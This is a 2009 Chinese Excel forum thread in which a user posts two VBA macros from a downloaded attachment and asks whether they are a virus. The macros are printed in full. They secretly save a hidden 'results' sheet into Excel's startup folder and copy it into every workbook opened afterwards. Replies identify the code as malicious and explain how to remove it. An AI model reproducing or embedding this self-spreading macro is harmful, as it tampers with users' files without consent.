请问两段代码是不是带有病毒（results大家很可能遭遇到，已经解决）

itxianfeng

前天下载了本论坛的一个会员的附件 打开以后，不知道是什么原因，这个代码会自动将代码复制到别的工作簿代码框中，而且自动运行，干扰了别的宏正常运行，于是我将它们删掉，但是再次打开之后，还会出现这两段代码
Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub

[ 本帖最后由 itxianfeng 于 2009-9-29 14:30 编辑 ]

张三李四

非病毒，是不良代码。在Excel启动目录下自动添加了一个文件，并且每次打开新的Excel文件时自动把此不良代码加到文件中。

[ 本帖最后由 张三李四 于 2009-9-29 13:21 编辑 ]

itxianfeng

原帖由 张三李四 于 2009-9-29 13:19 发表
非病毒，是不良代码

那怎样删掉他们，禁止它们运行和 复制呢？？？

张三李四

先不要随便打开新的Excel文件。在Excel启动目录下直接手动删除此不良文件。再打开其它含有此代码的文件禁用宏，手工删除相关代码。

itxianfeng

真是太奇怪了，这两段程序很有问题，它是寄存在一个工作簿中的，但是这个工作簿是不可见的，我并没有打开这个工作簿，电脑中也看不到这个工作簿
RESULTS这个工作簿其实根本没有

[ 本帖最后由 itxianfeng 于 2009-9-29 13:54 编辑 ]

lt101

在窗口中隐藏了，很难完全删掉，只有碰到一次就删一次

itxianfeng

我刚才附的图中已经删掉那个病毒代码了，但是那个工作簿怎样删掉。

yxy博

RESULTS这个工作簿在C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART中
将此文件删除。

yxy博

C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel中的Excel11文件也删除。

itxianfeng

提示一下，我大概是前天下载那个名字大概是 “会闪动的字 ”  帖子中的附件 以后出现这样的问题
今天怎么找不到了